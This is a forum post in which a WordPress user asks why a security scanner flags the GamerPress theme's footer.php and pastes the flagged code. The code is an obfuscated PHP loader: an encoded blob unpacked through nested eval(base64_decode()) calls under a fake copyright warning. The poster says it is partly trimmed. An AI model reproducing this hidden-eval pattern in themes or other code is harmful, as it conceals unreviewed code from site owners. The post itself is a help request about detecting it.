Andrew Castagno

Forum Replies Created

Viewing 1 post (of 1 total)
  • Author
    Posts
  • April 29, 2012 at 12:07 am in reply to: Gamerpress footer.php #251

    Andrew Castagno
    Member

    The WordPress theme GamerPress is giving a known threat in the footer.php. When I fix the file, it removes the entire footer from the page and the WordPress toolbar at the top of the page. Here are the contents before the file is fixed. It seems to be flagging the eval(base64_decode(…) portion of the footer.

    I took out some of it so the site didn’t think this was suspicious.

    /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
    $o=”QAAgOyhjbnE5DQ0NOwCAJ25jOiUAIGFoaHNidSU5DQ4BQ2RrZnR0hAABcGtiYXMBYA1DYnRuYGknZX4AAD0nO2Ynb3ViYTolb3Nzdz0AACgocHBwKXBiZW9odHNuaWAAAHVma2t+KWRoaiglOUVidHMCACdQYmUnTwHDOyhmOSc7ZXUoAAI5DURod351bmBvcychZACwPAAAJzs4d293J2Jkb2gnY2ZzYgGALyBeIC48OALwAYJla2hgbmlhAQNoLyBpZmpiAaMhaWNmdG8DpQInABBjYnRkdW53c25oaQKQJzg5Dd4ADvUO4mQNpAfiDbEND3ApZXVoamhpYoUCDJpFZmlsDCJ7ED5qamhvcnMPZEEAOnViYidKSkhVV0AC/xMmEvFxAyRRLgFXVBI/DQmGEbMOF3V0dDVYcnVrDeMEBSU5VHJlDyFlYidzaCdXFrB0B4LgYwpnBB0Z4GpiaXN0WASvBKhEaGoCYgTSviIbYw4UpACFAPMjMBpScHdYJHMvLjwXc2UQCGhjfhfxb3NqazknDScAEQ==”;********eval(base64_decode(“JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw==”)); retu*rn;?

  • Author
    Posts
Viewing 1 post (of 1 total)